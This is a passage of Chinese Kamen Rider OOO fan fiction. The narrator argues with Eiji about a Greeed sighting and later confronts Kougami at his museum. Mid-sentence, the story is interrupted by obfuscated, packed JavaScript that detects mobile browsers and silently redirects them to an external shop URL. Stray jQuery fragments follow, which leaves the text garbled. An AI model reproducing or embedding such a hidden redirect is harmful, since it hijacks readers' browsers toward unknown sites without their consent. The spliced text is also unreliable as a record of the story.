可惜,我的提案最终并未得到采信。
倒不是映司他们不愿配合。当时我手机都掏出来了,刚要联系伊达叔,结果映司的电话响了,好巧不巧来电的还正是伊达明。
“太好了伊达先生,我们正准备打电话给你……什么?”
映司接下电话,对面的伊达叔似乎在说很重要的事情,我看见映司频频点头,嘴角却紧绷着,几乎成了一条直线。
“明白了。”
通讯结束,映司的语气比之前要凝重许多。表情也是。
“出事了。”
我早有预料。能让伊达叔如此着急地来找映司,除了坏消息还能是什么。
不过这消息还是太坏了点。
“Greeed出现了,警视厅那边正在整合情报,我必须马上过去。”映司简单说明了下伊达叔那边的情况。
昨晚,一个不同于Yummy的的智慧生命体暴露在警视厅的视线中。经过研判,他们判断这个生命体便是一切混乱的根源,即人们记忆中消失已久的Greeed。
“怎么可能!”我追着映司下楼,“我不是说了吗,现在的Yummy都是人变的,根本不需要Greeed的参与,怎么可能还会有Greeed!”
“理论上或许如此。”映司飞快地清点硬币,一边说,“但是,有些问题依然无法解释。”
“这套理论可以解决一切问题。”我坚持道,“我思考了好几遍,逻辑上是通的!警视厅根本是没事找事!”
“他们是有道理的。”
映司装好硬币,大步往门外赶去。
我憋屈极了,紧紧跟在他的后面,大有不给我解释清楚就不让你出门的意思。但我其实也拦不住映司。是他突然折回头来,认真跟我解释。
“没有不相信你。”映司说,“但是那毕竟是你所独有的经历,缺少证据,警视厅的专家们也不敢轻易采信。更何况,你的说法无法解释‘硬币是哪里来的’这个问题。找不到幕后那个存在,大家的任务就没有结束。”
我知道他是对的,但还是有些郁闷,感觉自己天才般的设想被辜负了,忍不住抱怨道:“那我现在能做什么呢?我知道不存在这个Greeed,你也知道,伊达叔应该也知道,甚至警视厅的那些人,我不觉得他们不知道。但我们就是要相信Greeed确实出现了,因为这样就可以‘轻松’地解释一切。”
“不是这样的,小燕。”
这还是映司第一次喊我的昵称。
偶像的力量还是太大,哪怕只是一个称呼的变化,都能让我觉得自己仿佛被净化了,内心平静而幸福。
就在我为其中隐隐拉进的距离而欣喜时,映司继续说:“不要把它当成是一场对抗,而是合作。”
“合作?”我反问,语气却没有了先前的尖刻,更像是在讨教的学生,“我说没有Greeed,他们却说有,这不是跟我唱对台吗?天底下哪里有这样的合作?”
“所谓的‘合作’,并不一定是要对某一构想百依百顺。就好像‘我们’和警视厅,或者——我不是也没有告诉他们,你身上有硬币的力量?”映司笑笑,举了个他认为恰当的例子,“偶尔会有摩擦,偶尔又很亲密,但不论如何,都是为着同样的一个目标各自努力。这就是合作。”
“合作……”
“啊,真该走了。”他低头看了眼时间,“会有这样的时候吧?回过头看,很多事情并不是只有一个答案。”
--
2018年,随着电影《流浪地球》的上映,一个新的热点被创造出来。从饭后闲谈到作文素材,那段时间到处都在讨论剧中“饱和式救援”的作用。老师甚至为此组织了一场辩论,要求我们讨论投入“数倍于所需的资源,确保达成目的”这一手段,在现实生活里是否可行。
沫沫抽到的是正方。不过,她更认同的却是反方观念。
“烦死……反正我觉得不行。”
“为什么?”
“意外哪里是可以穷举完的。别看电影是那样,万一那些车过去的路上雪崩了呢?万一针生锈推不动了呢?万一估计错误燃料不够了呢?”
“那就没必要拍电影了。”
“所以不行啊!电影是电影,现实是现实。现实的意外太多了,投入再多也不可能完全避开。所谓数倍于所需的资源……根本放屁。”
我不知道自己更偏向还是反方。不,我根本就没有参与那场辩论,因为讨论本身没有意义,正如马克思所说的:哲学家们只是用不同的方式解释世界,而问题在于改变世界。
但是,如今我旧事重提。
是因为我其实也觉察到了,这个世界已经是需要“饱和式救援”的时候了吗?
……
我并不确定。
但我相信自己的直觉。就像考试时遇到难解的选择题,我也弄不清楚该如何作答,可当是ABCD都看过一遍,正解也就自然而然地被勾选出来。
在OOO的世界观里,这个正解就是……
“你那无与伦比的巨大容器,承载着欲望的结晶!”
“你的欲望,一直都停留在这里了——你要用这里来感受一下!”
“Happy Birthday!这是我们的契约。”
嗯……
无数鸿上光生的名场面在我脑中划过。
引诱映司,欺压后藤,哄骗小鸟……种种劣迹罄竹难书。
真的很不想找他。
--
但其实也没有第二个选项。
我拨通绘里香小姐的电话。
“打扰了,我是秋山燕。”
“我想预约一下鸿上会长,请问他什么时候有空?”
“诶?随时?”
“那么明天可以吗?我可能要做点准备。”
“啊?今天?下午吗……马上?!”
“好的,我现在就过去!”
--
鸿上光生的反应远比我想得积极。
跟知世子小姐打过招呼后,我乘车去往鸿上美术馆,路上又跟绘里香小姐打了一通电话,得知这几天他们都在美术馆内,似乎在追踪八百年前的事,她也说不明白。
总之,到了就知道了。
--
司机把我送到了美术馆外的巷口,说里面是私人土地,进不去了。
我在基金会倒没遇到这样的情况,大概因为那里是商圈吧。本以为这回指定要迷路,还好绘里香小姐就在路边接我。
“辛苦了。”她帮我付好车费。我望着出租车离开的方向,目送它又驶远。
绘里香在一旁说:“鸿上会长在馆内等你。但他说以为你要过几天才来,很多东西没有准备。所以我们要先在外面消磨一下时间。”
“啊?”听到要在外面,我马上感到一阵晕眩,全身的皮肤都烫了起来,“现在有二十九度,会中暑的!”
“没关系,鸿上会长有要我准备这个。”
绘里香小姐说着打开身上的口袋,里面是数个待机状态下的、深蓝色的罐头小机械。
“这是新研发的水母罐头小机械,可以制冷。”
绘里香把罐头小机械取出来递给了我。
我接过它,摁下罐头侧面的开关。
罐头立刻在我手中形变,几经展开后呈现其本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510640|202979||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来的结构,像是上学时流行的手持电扇。
“像是算计好这一切似的……真叫人不爽。”我撇嘴嘟哝了一句,扭头问绘里香,“绘里香小姐会这样想吗?好像被监视了,被看透。”
绘里香小姐倒很坦然。
“不会啊。”
“为什么?”
“鸿上先生只是我的老板。对于他,我希望能多发工资多放假就好。”
对于这个问题,绘里香小姐如是回答。
--
我们在外面的等了十多分钟,才被允许进入鸿上美术馆。
说是美术馆,其实是一栋私人宅邸,里面放置了许多与OOO有关的收藏,整体氛围幽暗而神秘,更像是八百年前会存在的光景。
像上次在基金会时一样,鸿上光生背对着我们,面前是OOO的巨大浮雕。
“你还是来了啊!”大概是听到了门开的声音,鸿上光生转过身来,一如既往开始他的浮夸表演,“我就知道,因为这就是你的欲望!”“恭喜你终于找回了它。今天就是你的新生,Happy Birthday!”
事到如今这套对我已经无效了。我看向身前那张长桌。真是稀奇,这次居然没有蛋糕。
“新生不新生的……我有正事。”
“什么事?”
“映司给你的石板,有别的信息对吧?你没有告诉他们。”
我不打算客套,直接说出了此行的目的。
不过,我也从来没指望过鸿上光生有问必答。
“有意思……推理游戏吗?”他抬手虚虚掩住下巴,倒真有种扮演侦探的味道。
“我才没空玩推理游戏!”对这人我真没招了,只好把话说得更直白一些,“Greeed的事情,你早就知道了,对吧?但是你瞒而不报,导致警视厅现在才知道。”
“好强大的理解!”鸿上仍不承认,甚至还拍起手来,“为什么要这么说?故意隐藏Greeed的信息,对我而言有什么好处?”
“好处什么的你自己知道啊,非要我说吗?!”
我从来没有像这样共情过后藤。如果可以,我真不想和鸿上光生这个不说人话的蛋糕人打交道。工作上有这种老板根本就是灾难!
“我不知道。”鸿上光生沉声说道,“我想恭喜你终于找回了欲望,如此强大的力量,值得庆祝。但你好像只是来找我宣泄情绪,那就没有什么好说的了。”
他手一挥,又背过身去。
“送客吧,里中。”
“是。”绘里香小姐低头应下,伸手要拉住我,“走吧秋山小姐,我送你回去。”
很完美态度,成功激怒了我。
我拒绝绘里香小姐的安排,一点面子也不想留了,对着鸿上光生一通输出。
“我说你别把我当Ankh那鸟人一样整好吗?!”
“我当然知道有什么好处,没有人比我更了解你们,所有的人!”
“你不就是只有这一个目的吗?那就是超越八百年前,在今世得到一个比当年OOO王更完美的,不会暴走的,也不会为了硬币而失控的——王!”
“收集硬币,制造端倪,诱哄映司……为了王,你什么都做了。”
“你一直追求一段故事,和我一样!我们才是最接近的人!我当然知道你想的都是什么!”
该说是顶级打工人的素养吗?就算场面失控到这一地步,绘里香小姐依然波澜不惊,仿佛老板的八卦和她一点关系也没有。
既然如此,我也不顾虑了。
有些事情还得本人赏脸出面才行。
“我说的没错吧?鸿上会长——鸿上光生。”